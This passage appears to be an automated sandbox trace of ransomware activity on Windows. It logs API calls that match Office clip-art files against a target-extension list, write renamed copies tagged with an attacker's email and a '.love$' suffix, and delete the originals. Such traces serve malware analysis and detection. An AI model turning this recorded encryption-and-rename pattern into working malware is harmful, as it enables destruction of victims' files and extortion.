Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.243] lstrlenW (lpString=".jpg") returned 4 [0242.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.243] lstrlenW (lpString=".doc") returned 4 [0242.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.243] lstrlenW (lpString=".docx") returned 5 [0242.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.243] lstrlenW (lpString=".pdf") returned 4 [0242.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.243] lstrlenW (lpString=".xls") returned 4 [0242.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.243] lstrlenW (lpString=".xlsx") returned 5 [0242.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.243] lstrlenW (lpString=".ppt") returned 4 [0242.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.243] lstrlenW (lpString=".zip") returned 4 [0242.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.243] lstrlenW (lpString=".rar") returned 4 [0242.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.243] lstrlenW (lpString=".bz2") returned 4 [0242.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.243] lstrlenW (lpString=".7z") returned 3 [0242.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.244] lstrlenW (lpString=".dbf") returned 4 [0242.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.244] lstrlenW (lpString=".1cd") returned 4 [0242.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.244] lstrlenW (lpString=".jpg") returned 4 [0242.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.244] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.244] lstrlenW (lpString="DD00687_.WMF") returned 12 [0242.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0242.245] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20784) returned 1 [0242.245] CloseHandle (hObject=0x44c) returned 1 [0242.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0242.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0242.246] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.246] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0242.248] GetLastError () returned 0x0 [0242.248] ReadFile (in: hFile=0x44c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x5130, lpOverlapped=0x0) returned 1 [0242.461] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5140, lpOverlapped=0x0) returned 1 [0242.463] ReadFile (in: hFile=0x44c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.463] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.463] SetEndOfFile (hFile=0x4c8) returned 1 [0242.463] CloseHandle (hObject=0x4c8) returned 1 [0242.463] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.463] SetEndOfFile (hFile=0x44c) returned 1 [0242.468] CloseHandle (hObject=0x44c) returned 1 [0242.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0242.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.471] lstrlenW (lpString=".doc") returned 4 [0242.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.471] lstrlenW (lpString=".docx") returned 5 [0242.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.472] lstrlenW (lpString=".pdf") returned 4 [0242.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString=".xls") returned 4 [0242.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.472] lstrlenW (lpString=".xlsx") returned 5 [0242.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.472] lstrlenW (lpString=".ppt") returned 4 [0242.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.472] lstrlenW (lpString=".zip") returned 4 [0242.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.472] lstrlenW (lpString=".rar") returned 4 [0242.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString=".bz2") returned 4 [0242.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString=".7z") returned 3 [0242.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.472] lstrlenW (lpString=".dbf") returned 4 [0242.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.472] lstrlenW (lpString=".1cd") returned 4 [0242.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.472] lstrlenW (lpString=".jpg") returned 4 [0242.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.472] lstrlenW (lpString=".doc") returned 4 [0242.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.472] lstrlenW (lpString=".docx") returned 5 [0242.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.472] lstrlenW (lpString=".pdf") returned 4 [0242.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.473] lstrlenW (lpString=".xls") returned 4 [0242.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.473] lstrlenW (lpString=".xlsx") returned 5 [0242.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.473] lstrlenW (lpString=".ppt") returned 4 [0242.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.473] lstrlenW (lpString=".zip") returned 4 [0242.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.473] lstrlenW (lpString=".rar") returned 4 [0242.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.473] lstrlenW (lpString=".bz2") returned 4 [0242.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.473] lstrlenW (lpString=".7z") returned 3 [0242.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.473] lstrlenW (lpString=".dbf") returned 4 [0242.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.473] lstrlenW (lpString=".1cd") returned 4 [0242.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0242.473] lstrlenW (lpString=".jpg") returned 4 [0242.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.473] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.473] lstrlenW (lpString="DD01138_.WMF") returned 12 [0242.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0242.474] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3692) returned 1 [0242.474] CloseHandle (hObject=0x4c8) returned 1 [0242.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0242.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0242.475] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.475] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0242.476] GetLastError () returned 0x0 [0242.476] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xe6c, lpOverlapped=0x0) returned 1 [0242.639] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe70, lpOverlapped=0x0) returned 1 [0242.640] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.640] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.640] SetEndOfFile (hFile=0x538) returned 1 [0242.645] CloseHandle (hObject=0x538) returned 1 [0242.656] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.656] SetEndOfFile (hFile=0x4c8) returned 1 [0242.669] CloseHandle (hObject=0x4c8) returned 1 [0242.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0242.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.674] lstrlenW (lpString=".doc") returned 4 [0242.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString=".docx") returned 5 [0242.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.674] lstrlenW (lpString=".pdf") returned 4 [0242.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString=".xls") returned 4 [0242.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.674] lstrlenW (lpString=".xlsx") returned 5 [0242.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.674] lstrlenW (lpString=".ppt") returned 4 [0242.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.674] lstrlenW (lpString=".zip") returned 4 [0242.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.674] lstrlenW (lpString=".rar") returned 4 [0242.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString=".bz2") returned 4 [0242.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString=".7z") returned 3 [0242.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.674] lstrlenW (lpString=".dbf") returned 4 [0242.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.674] lstrlenW (lpString=".1cd") returned 4 [0242.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.674] lstrlenW (lpString=".jpg") returned 4 [0242.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.675] lstrlenW (lpString=".doc") returned 4 [0242.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString=".docx") returned 5 [0242.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.675] lstrlenW (lpString=".pdf") returned 4 [0242.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString=".xls") returned 4 [0242.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.675] lstrlenW (lpString=".xlsx") returned 5 [0242.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.675] lstrlenW (lpString=".ppt") returned 4 [0242.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.675] lstrlenW (lpString=".zip") returned 4 [0242.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.675] lstrlenW (lpString=".rar") returned 4 [0242.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString=".bz2") returned 4 [0242.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString=".7z") returned 3 [0242.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.675] lstrlenW (lpString=".dbf") returned 4 [0242.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.675] lstrlenW (lpString=".1cd") returned 4 [0242.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0242.675] lstrlenW (lpString=".jpg") returned 4 [0242.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.676] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.676] lstrlenW (lpString="DD01145_.WMF") returned 12 [0242.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0242.677] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2780) returned 1 [0242.677] CloseHandle (hObject=0x4c8) returned 1 [0242.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0242.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0242.678] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.678] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0242.679] GetLastError () returned 0x0 [0242.679] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xadc, lpOverlapped=0x0) returned 1 [0242.788] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xae0, lpOverlapped=0x0) returned 1 [0242.789] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.789] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.789] SetEndOfFile (hFile=0x538) returned 1 [0243.219] CloseHandle (hObject=0x538) returned 1 [0243.243] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.243] SetEndOfFile (hFile=0x4c8) returned 1 [0243.245] CloseHandle (hObject=0x4c8) returned 1 [0243.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0243.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.247] lstrlenW (lpString=".doc") returned 4 [0243.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.247] lstrlenW (lpString=".docx") returned 5 [0243.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.247] lstrlenW (lpString=".pdf") returned 4 [0243.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.247] lstrlenW (lpString=".xls") returned 4 [0243.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.247] lstrlenW (lpString=".xlsx") returned 5 [0243.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.247] lstrlenW (lpString=".ppt") returned 4 [0243.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.247] lstrlenW (lpString=".zip") returned 4 [0243.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.248] lstrlenW (lpString=".rar") returned 4 [0243.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString=".bz2") returned 4 [0243.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString=".7z") returned 3 [0243.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.248] lstrlenW (lpString=".dbf") returned 4 [0243.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.248] lstrlenW (lpString=".1cd") returned 4 [0243.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.248] lstrlenW (lpString=".jpg") returned 4 [0243.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 